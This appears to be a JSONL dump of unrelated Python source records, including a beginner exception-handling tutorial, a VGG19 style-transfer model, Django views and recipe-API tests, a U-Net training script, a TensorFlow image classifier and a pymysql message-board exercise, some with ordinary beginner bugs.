number: 10\n# Enter the second number: 0\n# division by zero\n\n# Enter the first number: abc\n# invalid literal for int() with base 10: 'abc'\n\n# ==============================================================================\n# real catchall\nprint('real catchall')\ntry:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\nexcept:\n print('something wrong... ')\n\n# Output:\n# Enter the first number: 10\n# Enter the second number: 0\n# something wrong...\n\n# Enter the first number:\n# ^C\n# something wrong...\n\n# ==============================================================================\n# when all is well\nprint('when all is well')\nwhile True:\n try:\n x = int(input('Enter the first number: '))\n y = int(input('Enter the second number: '))\n print('first number / second number = ', x / y)\n except (ZeroDivisionError, TypeError, ValueError) as e:\n print('Invalid input. Please try again.')\n else:\n break\n\n# Output:\n# Enter the first number: abc\n# Invalid input. Please try again.\n# Enter the first number: 10\n# Enter the second number: 0\n# Invalid input. Please try again.\n# Enter the first number: 10\n# Enter the second number: 2\n# first number / second number = 5.0\n\n# ==============================================================================\n# finally\nprint('finally')\nx = None\ntry:\n x = 1 / 0\nexcept:\n print('Unknown variable')\nelse:\n print('That went well')\nfinally:\n print('Cleaning up...')\n del x\n","sub_path":"beginning-python/08/08-01-exception-catch.py","file_name":"08-01-exception-catch.py","file_ext":"py","file_size_in_byte":5087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"95522183","text":"import torch\nimport torch.nn as nn\nfrom torchvision import models\nimport torch.nn.functional as F\n\nclass VGG19(nn.Module):\n def __init__(self):\n super(VGG19, self).__init__()\n source_model = models.vgg19(pretrained=True).features\n\n # replace in-place relus\n for name, layer in source_model.named_children():\n if isinstance(layer, nn.ReLU):\n setattr(source_model, name, nn.ReLU(inplace=False))\n # if isinstance(layer, nn.MaxPool2d): # did not give good results\n # setattr(source_model, name, nn.AvgPool2d(\n # kernel_size=2,\n # stride=2,\n # padding=0)\n # )\n\n # get the feature layers\n features = list(source_model)\n # set to eval mode\n self.features = nn.ModuleList(features)\n # freeze layers\n for parameter in self.features.parameters():\n parameter.requires_grad = False\n\n def forward(self, x):\n results = []\n needed_layers = {1, 6, 11, 20, 29, 31}\n for ii, model in enumerate(self.features):\n x = model(x)\n if ii in needed_layers:\n results.append(x)\n # (style_layers, content_layers)\n return results[:-1], list(results[-1])\n\n# content loss\ndef get_content_loss(base_content, target):\n return F.mse_loss(base_content, target)\n\ndef gram_matrix(input):\n a, b, c, d = input.size() # a=batch size(=1)\n # b=number of feature maps\n # (c,d)=dimensions of a f. map (N=c*d)\n\n features = input.view(a * b, c * d) # resise F_XL into \\hat F_XL\n\n G = torch.mm(features, features.t()) # compute the gram product\n\n # we 'normalize' the values of the gram matrix\n # by dividing by the number of element in each feature maps.\n return G.div(a * b * c * d)\n\ndef get_style_loss(base_style, gram_target):\n G = gram_matrix(base_style)\n loss = F.mse_loss(G, gram_target)\n return loss\n\nif __name__ == \"__main__\":\n vgg_model = VGG19()\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"588085091","text":"from django.http import JsonResponse\nfrom django.views.generic import View\nfrom django.db import connection, DatabaseError\nfrom django.shortcuts import render_to_response\n\nfrom myBlog.core.models import Post\n\n\ndef status(request):\n try:\n cursor = connection.cursor()\n cursor.execute(\"SELECT 1\")\n cursor.fetchone()\n cursor.close()\n database_status = 'OK'\n except DatabaseError:\n database_status = 'UNAVAILABLE'\n\n data = {\n 'database_status': database_status,\n }\n return JsonResponse(data)\n\n\nclass PostView(View):\n def get(self, request, post_id):\n post = Post.objects.get(id=post_id)\n\n context = {'post': post}\n return render_to_response('post.html', context)\n","sub_path":"myBlog/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"444049870","text":"\"\"\"\nThese tests cover the Hacker News homepage\n\"\"\"\n\nimport pytest\nfrom delayed_assert import expect, assert_expectations\nfrom basetest import HomeTest, LoggedInTest\nfrom pages.home import HomePage\nfrom pages.nav import NavBar\n\n\nclass TestLoggedoutHomepage(HomeTest):\n\n\n def test_HomepageLoadsLoggedOut(self):\n nav = NavBar(self.driver)\n home_page = HomePage(self.driver)\n expect(nav.verify_menu_header_displayed())\n expect(home_page.verify_posts_displayed())\n assert_expectations()\n\n\nclass TestLoggedinHomepage(LoggedInTest):\n\n def test_HomepageLoadsLoggedIn(self):\n nav = NavBar(self.driver)\n home_page = HomePage(self.driver)\n expect(nav.verify_username_displayed())\n expect(nav.verify_menu_header_displayed())\n expect(home_page.verify_posts_displayed())\n assert_expectations()","sub_path":"tests/test_home.py","file_name":"test_home.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"366790264","text":"from model import *\nimport numpy as np\nimport keras\nfrom keras.callbacks import ModelCheckpoint\nimport random\nimport os\nimport cv2 as cv\nfrom imutils import paths\nfrom keras.preprocessing.image import img_to_array\nimport matplotlib.pyplot as plt\n\nnorm_size=256\ndef load_Train_data(imagefolder,labelfolder):\n print(\"[INFO] loading images...\")\n imagedata = []\n labeldata = []\n # grab the image paths and randomly shuffle them\n imagePaths = os.listdir(imagefolder)\n\n random.seed(42)\n random.shuffle(imagePaths)\n # loop over the input images\n for imagePath in imagePaths:\n # load the image, pre-process it, and store it in the data list\n # print(imagePath)\n image = cv.imread(os.path.join(imagefolder,imagePath))[:,:,0]\n image = cv.resize(image, (norm_size, norm_size))\n image = img_to_array(image)\n imagedata.append(image)\n\n label = cv.imread(os.path.join(labelfolder, imagePath))[:, :, 0]\n label = cv.resize(label, (norm_size, norm_size))\n label = img_to_array(label)\n labeldata.append(label)\n\n # scale the raw pixel intensities to the range [0, 1]\n\n imagedata = np.array(imagedata, dtype=np.float32)\n avg=np.average(imagedata);\n std=np.std(imagedata);\n out=open(\"config\",'w')\n out.write('{},{}\\n'.format(avg,std))\n out.close()\n print(avg,std)\n imagedata=(imagedata-avg)/std\n\n labeldata = np.array(labeldata, dtype=np.float32)\n labeldata[labeldata < 1] = 0;\n labeldata[labeldata >= 1] = 1;\n # labeldata[labeldata>1]=1;\n\n return imagedata,labeldata\n\nif __name__==\"__main__\":\n train=1;\n\n trainX,trainY=load_Train_data(os.path.join('D:/images','balanceimage'),os.path.join('D:/images','balancelabel'))\n print(trainX.shape)\n print(trainY.shape)\n print(np.sum(trainY==1))\n print(np.sum(trainY==0))\n print(np.sum(trainY==0)/(np.sum(trainY==0)+np.sum(trainY==1)))\n\n # cv.imshow(\"main\",trainY[1,:,:,0])\n # cv.waitKey(3000)\n\n if train:\n EPOCHS=120\n model = unet()\n model.summary()\n # model=keras.models.load_model(\"best.hdf5\",custom_objects={'bce_dice_loss': bce_dice_loss})\n model_checkpoint = ModelCheckpoint('best.hdf5', monitor='val_acc',verbose=1, save_best_only=True)\n tb_cb = keras.callbacks.TensorBoard(log_dir=\"./log\", write_images=1, histogram_freq=0)\n H=model.fit(trainX,trainY,batch_size=4,epochs=EPOCHS,validation_split=0.04,callbacks=[model_checkpoint,tb_cb])\n model.save(\"./lasted.hdf5\")\n\n plt.style.use(\"ggplot\")\n plt.figure()\n N = EPOCHS\n plt.plot(np.arange(0, N), H.history[\"loss\"], label=\"train_loss\")\n plt.plot(np.arange(0, N), H.history[\"val_loss\"], label=\"val_loss\")\n plt.plot(np.arange(0, N), H.history[\"acc\"], label=\"train_acc\")\n plt.plot(np.arange(0, N), H.history[\"val_acc\"], label=\"val_acc\")\n plt.title(\"Training Loss and Accuracy on foot classifier\")\n plt.xlabel(\"Epoch #\")\n plt.ylabel(\"Loss/Accuracy\")\n plt.legend(loc=\"lower left\")\n plt.savefig(\"train.png\")\n\n else:\n model=keras.models.load_model(\"best.hdf5\",custom_objects={'bce_dice_loss': bce_dice_loss})\n scores = model.evaluate(trainX, trainY, verbose=0)\n print(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1]*100))\n\n img=np.round(model.predict(trainX[0:1,:,:,0:1]))\n img=img.astype(np.uint8)\n print(np.sum(img>0))\n img[img>0]=255\n cv.imshow(\"mian\",img[0,:,:,0])\n cv.waitKey(5000)\n","sub_path":"python/TDB_Unet/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"142505994","text":"import smtplib\n\nfrom django.core.mail import send_mail\nfrom django.template.loader import render_to_string\n\nfrom app_celery.celery import app\n\n\n@app.task\ndef send_email(subject, from_email, to_email, template, args):\n\n html_message = render_to_string(template, args)\n try:\n send_mail(\n subject=subject,\n message=\"\",\n from_email=from_email,\n recipient_list=[to_email],\n html_message=html_message,\n )\n except smtplib.SMPTException:\n print(f\"Error while sending email to {to_email}\")\n","sub_path":"api/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"603915574","text":"import re\nimport requests\nimport bs4\nfrom bs4 import BeautifulSoup\nimport matplotlib.pyplot as plt\nimport numpy\n\ndef getHTMLText (url):\n try:\n r = requests.get(url , timeout=30)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r.text\n except:\n return \"\"\n\n\ndef fillUnivList(ulist,html):\n soup = BeautifulSoup(html,'html.parser')\n for tr in soup.find('tbody').children:\n if isinstance(tr,bs4.element.Tag):\n tds = tr('td')\n ulist.append([tds[0].string,tds[1].string,tds[11].string])\n return ulist\n\ndef printUnivList(ulist,num):\n tplt = '{0:^10}\\t{1:{3}^10}\\t{2:^10}'\n print(tplt.format(\"排名\",'学校','科研经费',chr(12288 )))\n for i in range(num):\n u=ulist[i]\n print(tplt.format(u[0],u[1],u[2],chr(12288)))\n\n\n\n\nif __name__ == '__main__':\n uinfo = []\n url = 'http://www.zuihaodaxue.com/zuihaodaxuepaiming2019.html'\n html = getHTMLText(url)\n flist = fillUnivList(uinfo,html)\n nn = numpy.array(flist)\n x = nn[:,1]\n y = int(nn[:,2])\n # plt(y)\n # plt.show()\n\n\n","sub_path":"爬虫学习/Rank.py","file_name":"Rank.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"526100624","text":"# MIT License\n#\n# Copyright (c) 2018\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nimport os\nimport sys\n\nfrom slim.datasets import dataset_utils\nfrom slim.nets import nets_factory as network_factory\nfrom slim.preprocessing import preprocessing_factory\n\nslim = tf.contrib.slim\n\n\nclass SoftmaxClassifier(object):\n\n __model_name_map = {\n 'alexnet_v2': 'alexnet_v2',\n 'cifarnet': 'CifarNet',\n 'overfeat': 'overfeat',\n 'vgg_a': 'vgg_a',\n 'vgg_16': 'vgg_16',\n 'vgg_19': 'vgg_19',\n 'inception_v1': 'InceptionV1',\n 'inception_v2': 'InceptionV2',\n 'inception_v3': 'InceptionV3',\n 'inception_v4': 'InceptionV4',\n 'inception_resnet_v2': 'InceptionResnetV2',\n 'lenet': 'LeNet',\n 'resnet_v1_50': 'resnet_v1_50',\n 'resnet_v1_101': 'resnet_v1_101',\n 'resnet_v1_152': 'resnet_v1_152',\n 'resnet_v1_200': 'resnet_v1_200',\n 'resnet_v2_50': 'resnet_v2_50',\n 'resnet_v2_101': 'resnet_v2_101',\n 'resnet_v2_152': 'resnet_v2_152',\n 'resnet_v2_200': 'resnet_v2_200',\n 'mobilenet_v1': 'MobilenetV1',\n 'mobilenet_v1_075': 'MobilenetV1',\n 'mobilenet_v1_050': 'MobilenetV1',\n 'mobilenet_v1_025': 'MobilenetV1',\n 'nasnet_cifar': 'nasnet_cifar',\n 'nasnet_mobile': 'nasnet_mobile',\n 'nasnet_large': 'nasnet_large',\n }\n\n def __init__(self):\n\n self._model_name = None\n self._model_path = None\n\n self._has_dataset = False\n self._has_model = False\n\n self._number_of_classes = 0\n self._labels_to_names = []\n self._network_image_size = 0\n\n self._graph = None\n self._session = None\n\n self._input_image_tensor = None\n self._normalized_features_tensor = None\n self._probability_tensor = None\n\n self._feature_key = 'Features'\n\n def network_image_size(self):\n return (self._network_image_size)\n\n def _load_dataset(self, dataset_dir):\n self._has_dataset = False\n\n self._labels_to_names = dataset_utils.read_label_file(dataset_dir)\n self._number_of_classes = len(self._labels_to_names)\n\n if (self._number_of_classes > 0):\n self._has_dataset = True\n\n return (self._has_dataset)\n\n def _load_model(self, model_path, model_name, gpu_memory_fraction):\n self._has_model = False\n\n if tf.gfile.IsDirectory(model_path):\n self._model_path = tf.train.latest_checkpoint(model_path)\n else:\n self._model_path = model_path\n\n self._graph = tf.Graph()\n with self._graph.as_default():\n\n image_preprocessing_fn = preprocessing_factory.get_preprocessing(\n model_name, is_training=False)\n network_fn = network_factory.get_network_fn(\n model_name,\n num_classes=self._number_of_classes,\n is_training=False)\n self._network_image_size = network_fn.default_image_size\n\n self._input_image_tensor = tf.placeholder(tf.uint8,\n (None, None, 3), 'input')\n processed_image = image_preprocessing_fn(self._input_image_tensor,\n self._network_image_size,\n self._network_image_size)\n processed_image_tensor = tf.expand_dims(processed_image, 0)\n\n logits_tensor, end_points = network_fn(processed_image_tensor)\n\n if (self._feature_key in end_points):\n features_tensor = end_points[self._feature_key]\n self._normalized_features_tensor = tf.nn.l2_normalize(\n features_tensor, dim=1)\n #self._normalized_features_tensor = features_tensor\n\n self._probability_tensor = tf.nn.softmax(logits_tensor)\n\n gpu_options = tf.GPUOptions(\n per_process_gpu_memory_fraction=gpu_memory_fraction)\n self._session = tf.Session(\n config=tf.ConfigProto(\n gpu_options=gpu_options, log_device_placement=False))\n\n init_fn = slim.assign_from_checkpoint_fn(\n self._model_path,\n slim.get_model_variables(\n SoftmaxClassifier.__model_name_map[model_name]))\n init_fn(self._session)\n\n self._has_model = True\n self._model_name = model_name\n\n return (self._has_model)\n\n def load(self, model_path, model_name, gpu_memory_fraction):\n\n if (not self._load_dataset(model_path)):\n return (False)\n\n if (not self._load_model(model_path, model_name, gpu_memory_fraction)):\n return (False)\n\n return (True)\n\n def classify(self, input_image, use_top=5, print_results=False):\n\n class_names_probabilities = []\n\n class_probabilities = []\n try:\n feed_dict = {self._input_image_tensor: input_image}\n class_probabilities = self._session.run(\n self._probability_tensor, feed_dict=feed_dict)\n except (IOError, ValueError, IndexError) as error:\n return (class_names_probabilities)\n\n if (len(class_probabilities) == 0):\n return (class_names_probabilities)\n\n class_probabilities = class_probabilities[0, 0:]\n sorted_indices = [\n i[0] for i in sorted(\n enumerate(-class_probabilities), key=lambda x: x[1])\n ]\n\n for index in range(use_top):\n class_name = self._labels_to_names[sorted_indices[index]]\n class_probability = class_probabilities[sorted_indices[index]]\n class_names_probabilities.append([class_name, class_probability])\n if (print_results):\n print(\"Class is - \" + class_name + \" with probability - \" +\n str(class_probability))\n\n return (class_names_probabilities)\n\n def features(self, input_image):\n normalized_features = []\n try:\n feed_dict = {self._input_image_tensor: input_image}\n normalized_features = self._session.run(\n self._normalized_features_tensor, feed_dict=feed_dict)\n except (IOError, ValueError, IndexError) as error:\n normalized_features = []\n return (normalized_features)\n\n #print('normalized_features', normalized_features, len(normalized_features[0]))\n return (normalized_features)\n","sub_path":"tfface/classifier/SoftmaxClassifier.py","file_name":"SoftmaxClassifier.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"139346065","text":"# -*- encoding: utf-8 -*-\n'''\n@File : test5.py\n@Time : 2020/05/06 20:08:14\n@Author : zjm \n@Version : 3.7.6\n@Contact : 1005564803@qq.com\n@WebSite : https://github.com/sum-123/Python-.git\n'''\n# 创建一个留言板的表（ID，留言主题，留言人，留言时间）4个字段，注意，字段请用英文；\n# 完成对这个表记录的增，删，改，查询；\n# 用PyMySQL驱动方式\n\n# here put the import lib\nimport pymysql\ndb = pymysql.connect(\"localhost\",\"root\",\"qazwsx123\",\"test\" )\n \n# 使用 cursor() 方法创建一个游标对象 cursor\ncursor = db.cursor()\ncursor.execute(\"DROP TABLE IF EXISTS MESSAGEBOARD\")\n# **********创建表**********\ncreate = \"\"\"CREATE TABLE MESSAGEBOARD (\n ID CHAR(20) NOT NULL,\n THEME CHAR(20),\n NAME CHAR(20),\n MESSAGE_TIME DATE \n )\"\"\"\n \ncursor.execute(create)\n# **********增加数据*********\ninsert=\"\"\"INSERT INTO MESSAGEBOARD(ID,\n THEME, NAME, MESSAGE_TIME)\n VALUES ('1201810801', 'Python','Jack', '2020-05-06')\"\"\"\ntry:\n cursor.execute(insert)\n db.commit()\nexcept:\n db.rollback()\n#***********查询记录*********\nsearch=\"SELECT * FROM MESSAGEBOARD\"\ntry:\n # 执行SQL语句\n cursor.execute(search)\n # 获取所有记录列表\n results = cursor.fetchall()\n for row in results:\n id = row[0]\n theme = row[1]\n name = row[2]\n time = row[3]\n # 打印结果\n print (\"id = %s,theme = %s,name = %s,time = %s\" % \\\n (id, theme, name, time))\nexcept:\n print (\"Error: unable to fetch data\")\n#***********更新记录***********\nupgrade=\"UPDATE MESSAGEBOARD SET THEME ='pyhon123' \"\ntry:\n # 执行SQL语句\n cursor.execute(upgrade)\n # 提交到数据库执行\n db.commit()\nexcept:\n # 发生错误时回滚\n db.rollback()\n# *********删除记录************\ndelete = \"DELETE FROM MESSAGEBOARD WHERE THEME > %s\" % ('python123')\ntry:\n # 执行SQL语句\n cursor.execute(delete)\n # 提交修改\n db.commit()\nexcept:\n # 发生错误时回滚\n db.rollback()\n\n# 关闭数据库连接\ndb.close()\n","sub_path":"ClassTest/May06/MessageBoard.py","file_name":"MessageBoard.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"221746934","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('usersprofile/', views.users_profile, name='users_profile'),\n path('profileaccount/', views.profile_account, name='profile_account'),\n path('profilesubscription/', views.profile_subscription, name='profile_subscription'),\n path('userlogout/', views.user_logout, name=\"user_logout\"),\n path('leavefeedbacks', views.leave_feedbacks, name='leave_feedbacks'),\n]\n","sub_path":"usersprofile/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"560278411","text":"import os\r\nimport tempfile\r\n\r\nfrom core.models import Ingredient, Recipe, Tag\r\nfrom django.contrib.auth import get_user_model\r\nfrom django.test import TestCase\r\nfrom django.urls import reverse\r\nfrom exercise.serializers import RecipeDetailSerializer, RecipeSerializer\r\nfrom PIL import Image\r\nfrom rest_framework import status\r\nfrom rest_framework.test import APIClient\r\n\r\nRECIPE_URL = reverse('exercise:recipe-list')\r\n\r\n# /api/recipe/recipes\r\n# /api/recipe/recipes/1/\r\n\r\n\r\ndef image_upload_url(recipe_id):\r\n \"\"\"Return url fot recipe image upload\r\n \"\"\"\r\n return reverse('exercise:recipe-upload-image', args=[recipe_id])\r\n\r\n\r\ndef detail_url(recipe_id):\r\n \"\"\"Return recipe detail URL\r\n \"\"\"\r\n return reverse('exercise:recipe-detail', args=[recipe_id])\r\n\r\n\r\ndef sample_recipe(user, **params):\r\n \"\"\"Create and return a sample recipe\r\n \"\"\"\r\n defaults = {\r\n 'title': 'Sample recipe',\r\n 'time_minutes': 10,\r\n 'price': 5.00,\r\n }\r\n defaults.update(params) # create or update existing\r\n # fields in a dictionary\r\n return Recipe.objects.create(user=user, **defaults)\r\n\r\n\r\ndef sample_tag(user, name='Main Tag'):\r\n return Tag.objects.create(user=user, name=name)\r\n\r\n\r\ndef sample_ingredient(user, name='Some Ingredient'):\r\n return Ingredient.objects.create(user=user, name=name)\r\n\r\n\r\nclass PublicRecipeApiTests(TestCase):\r\n \"\"\"Test unauthenticated recipe API tests\r\n \"\"\"\r\n\r\n def setUp(self):\r\n self.client = APIClient()\r\n\r\n def test_auth_required(self):\r\n res = self.client.get(RECIPE_URL)\r\n self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED)\r\n\r\n\r\nclass PrivateRecipeApiTests(TestCase):\r\n\r\n def setUp(self):\r\n self.client = APIClient()\r\n self.user = get_user_model().objects.create_user(\r\n 'test@test.com',\r\n '123123'\r\n )\r\n self.client.force_authenticate(self.user)\r\n\r\n def test_retrive_recipes(self):\r\n \"\"\"Test retriving list of recipes\r\n \"\"\"\r\n sample_recipe(user=self.user)\r\n sample_recipe(user=self.user)\r\n\r\n res = self.client.get(RECIPE_URL)\r\n recipes = Recipe.objects.all().order_by('-id')\r\n serializer = RecipeSerializer(recipes, many=True)\r\n\r\n self.assertEqual(res.status_code, status.HTTP_200_OK)\r\n self.assertEqual(res.data, serializer.data)\r\n\r\n def test_recipes_limited_to_user(self):\r\n \"\"\"Test retriving recipes for user\r\n \"\"\"\r\n user2 = get_user_model().objects.create_user(\r\n 'sadf@sadfa.com',\r\n 'asdfasdf'\r\n )\r\n sample_recipe(user=user2)\r\n sample_recipe(user=self.user)\r\n\r\n res = self.client.get(RECIPE_URL)\r\n recipes = Recipe.objects.filter(user=self.user)\r\n serializer = RecipeSerializer(recipes, many=True)\r\n\r\n self.assertEqual(res.status_code, status.HTTP_200_OK)\r\n self.assertEqual(len(res.data), 1)\r\n self.assertEqual(res.data, serializer.data)\r\n\r\n def test_view_recipe_detail(self):\r\n \"\"\"Test viewing a recipe detail\r\n \"\"\"\r\n recipe = sample_recipe(user=self.user)\r\n # adding a tag to the current recipe\r\n recipe.tags.add(sample_tag(user=self.user))\r\n recipe.ingredients.add(sample_ingredient(user=self.user))\r\n\r\n url = detail_url(recipe.id)\r\n res = self.client.get(url)\r\n serializer = RecipeDetailSerializer(recipe)\r\n\r\n self.assertEqual(res.status_code, status.HTTP_200_OK)\r\n self.assertEqual(serializer.data, res.data)\r\n\r\n def rest_create_basic_recipe(self):\r\n \"\"\"Test creating recipe\r\n \"\"\"\r\n payload = {\r\n \"title\": \"Salad\",\r\n \"time_minutes\": 10,\r\n \"price\": 5.00\r\n }\r\n res = self.client.post(RECIPE_URL, payload)\r\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\r\n recipe = Recipe.objects.get(id=res.data['id'])\r\n is_equal = all([self.assertEqual(payload[k], getattr(recipe, k))\r\n for k in payload.keys()])\r\n self.assertTrue(is_equal)\r\n\r\n def test_create_recipe_with_tags(self):\r\n \"\"\"Test creating a recipe with tags\r\n \"\"\"\r\n tag1 = sample_tag(user=self.user, name='Vegan')\r\n tag2 = sample_tag(user=self.user, name='Dessert')\r\n payload = {\r\n 'title': 'Avocado line',\r\n 'tags': [tag1.id, tag2.id],\r\n 'time_minutes': 50,\r\n 'price': 20.00\r\n }\r\n res = self.client.post(RECIPE_URL, payload)\r\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\r\n recipe = Recipe.objects.get(id=res.data['id'])\r\n tags = recipe.tags.all() # retreive all the tags not the ids\r\n self.assertEqual(tags.count(), 2)\r\n self.assertIn(tag1, tags) # useful to check list,querysets\r\n self.assertIn(tag2, tags)\r\n\r\n def test_create_recipe_with_ingredients(self):\r\n \"\"\"Test create a recipe with ingredients\r\n \"\"\"\r\n ing1 = sample_ingredient(user=self.user, name='Salt')\r\n ing2 = sample_ingredient(user=self.user, name='Tomato')\r\n\r\n payload = {\r\n 'title': 'Salad',\r\n 'time_minutes': 10,\r\n 'price': 10.00,\r\n 'ingredients': [ing1.id, ing2.id]\r\n }\r\n res = self.client.post(RECIPE_URL, payload)\r\n\r\n self.assertEqual(res.status_code, status.HTTP_201_CREATED)\r\n recipe = Recipe.objects.get(id=res.data['id'])\r\n\r\n ingredients = recipe.ingredients.all()\r\n self.assertEqual(ingredients.count(), 2)\r\n\r\n self.assertIn(ing1, ingredients)\r\n self.assertIn(ing2, ingredients)\r\n\r\n def test_partial_update_recipe(self):\r\n \"\"\"Test updating a recipe with patch\r\n \"\"\"\r\n recipe = sample_recipe(user=self.user)\r\n recipe.tags.add(sample_tag(user=self.user))\r\n new_tag = sample_tag(user=self.user, name='Curry')\r\n\r\n payload = {\r\n 'title': 'Chicken',\r\n 'tags': [new_tag.id]\r\n }\r\n self.client.patch(detail_url(recipe.id), payload)\r\n recipe.refresh_from_db() # fetches again\r\n\r\n self.assertEqual(recipe.title, payload['title'])\r\n tags = recipe.tags.all()\r\n self.assertEqual(len(tags), 1)\r\n self.assertIn(new_tag, tags)\r\n\r\n def test_full_update_recipe(self):\r\n \"\"\"Teste updating a recipe with put\r\n \"\"\"\r\n recipe = sample_recipe(user=self.user)\r\n recipe.tags.add(sample_tag(user=self.user))\r\n payload = {\r\n \"title\": \"Spaghetti Carbonara\",\r\n 'time_minutes': 25,\r\n 'price': 5.00\r\n }\r\n url = detail_url(recipe.id)\r\n self.client.put(url, payload)\r\n recipe.refresh_from_db()\r\n self.assertEqual(recipe.title, payload['title'])\r\n self.assertEqual(recipe.time_minutes, payload['time_minutes'])\r\n self.assertEqual(recipe.price, payload['price'])\r\n self.assertEqual(recipe.tags.count(), 0)\r\n\r\n\r\nclass RecipeImageUploadTests(TestCase):\r\n\r\n def setUp(self):\r\n self.client = APIClient()\r\n self.user = get_user_model().objects.create_user(\r\n 'uset@sdfg.com',\r\n 'sdfasd'\r\n )\r\n self.client.force_authenticate(self.user)\r\n self.recipe = sample_recipe(user=self.user)\r\n\r\n def tearDown(self):\r\n self.recipe.image.delete() # delete the image created from the tests\r\n\r\n def test_upload_image(self):\r\n with tempfile.NamedTemporaryFile(suffix='.jpg') as ntf:\r\n # creates a temporary file and stores in the os\r\n # after end this it removes the file\r\n img = Image.new('RGB', (10, 10))\r\n img.save(ntf, format='JPEG')\r\n ntf.seek(0)\r\n res = self.client.post(image_upload_url(self.recipe.id), {\r\n 'image': ntf,\r\n 'format': 'multipart'\r\n # insted of the default format JSON\r\n # we specify the right format for the image\r\n })\r\n\r\n self.recipe.refresh_from_db()\r\n self.assertEqual(res.status_code, status.HTTP_200_OK)\r\n self.assertIn('image', res.data)\r\n # verify if the path exists in the os\r\n self.assertTrue(os.path.exists(self.recipe.image.path))\r\n\r\n def test_upload_image_bad_request(self):\r\n \"\"\"Test uploading an invalid image\r\n \"\"\"\r\n url = image_upload_url(self.recipe.id)\r\n res = self.client.post(url, {\r\n 'image': 'not an image',\r\n })\r\n self.assertEqual(res.status_code, status.HTTP_400_BAD_REQUEST)\r\n\r\n def test_filter_recipe_by_tags(self):\r\n \"\"\"Test returning recipes with specific tags\r\n \"\"\"\r\n recipe1 = sample_recipe(user=self.user, title='Chicken')\r\n recipe2 = sample_recipe(user=self.user, title='Salad')\r\n tag1 = sample_tag(user=self.user, name='Meat')\r\n tag2 = sample_tag(user=self.user, name='Vegetarian')\r\n recipe1.tags.add(tag1)\r\n recipe2.tags.add(tag2)\r\n recipe3 = sample_recipe(user=self.user, title='Fish')\r\n\r\n res = self.client.get(\r\n RECIPE_URL, {\"tags\": f'{tag1.id},{tag2.id}'}\r\n )\r\n serializer1 = RecipeSerializer(recipe1)\r\n serializer2 = RecipeSerializer(recipe2)\r\n serializer3 = RecipeSerializer(recipe3)\r\n\r\n self.assertIn(serializer1.data, res.data)\r\n self.assertIn(serializer2.data, res.data)\r\n self.assertNotIn(serializer3.data, res.data)\r\n\r\n def test_filter_recipes_filter_by_ingredient(self):\r\n \"\"\"Test returning recipes with specific ingredients\r\n \"\"\"\r\n recipe1 = sample_recipe(user=self.user, title='Chicken')\r\n recipe2 = sample_recipe(user=self.user, title='Salad')\r\n ingredient1 = sample_ingredient(user=self.user, name='Tomato')\r\n ingredient2 = sample_ingredient(user=self.user, name='Lettuce')\r\n recipe1.ingredients.add(ingredient1)\r\n recipe2.ingredients.add(ingredient2)\r\n recipe3 = sample_recipe(user=self.user, title='Fish')\r\n\r\n res = self.client.get(\r\n RECIPE_URL, {\"ingredients\": f'{ingredient1.id},{ingredient2.id}'}\r\n )\r\n serializer1 = RecipeSerializer(recipe1)\r\n serializer2 = RecipeSerializer(recipe2)\r\n serializer3 = RecipeSerializer(recipe3)\r\n\r\n self.assertIn(serializer1.data, res.data)\r\n self.assertIn(serializer2.data, res.data)\r\n self.assertNotIn(serializer3.data, res.data)\r\n","sub_path":"app/exercise/tests/test_recipe_api.py","file_name":"test_recipe_api.py","file_ext":"py","file_size_in_byte":10513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} 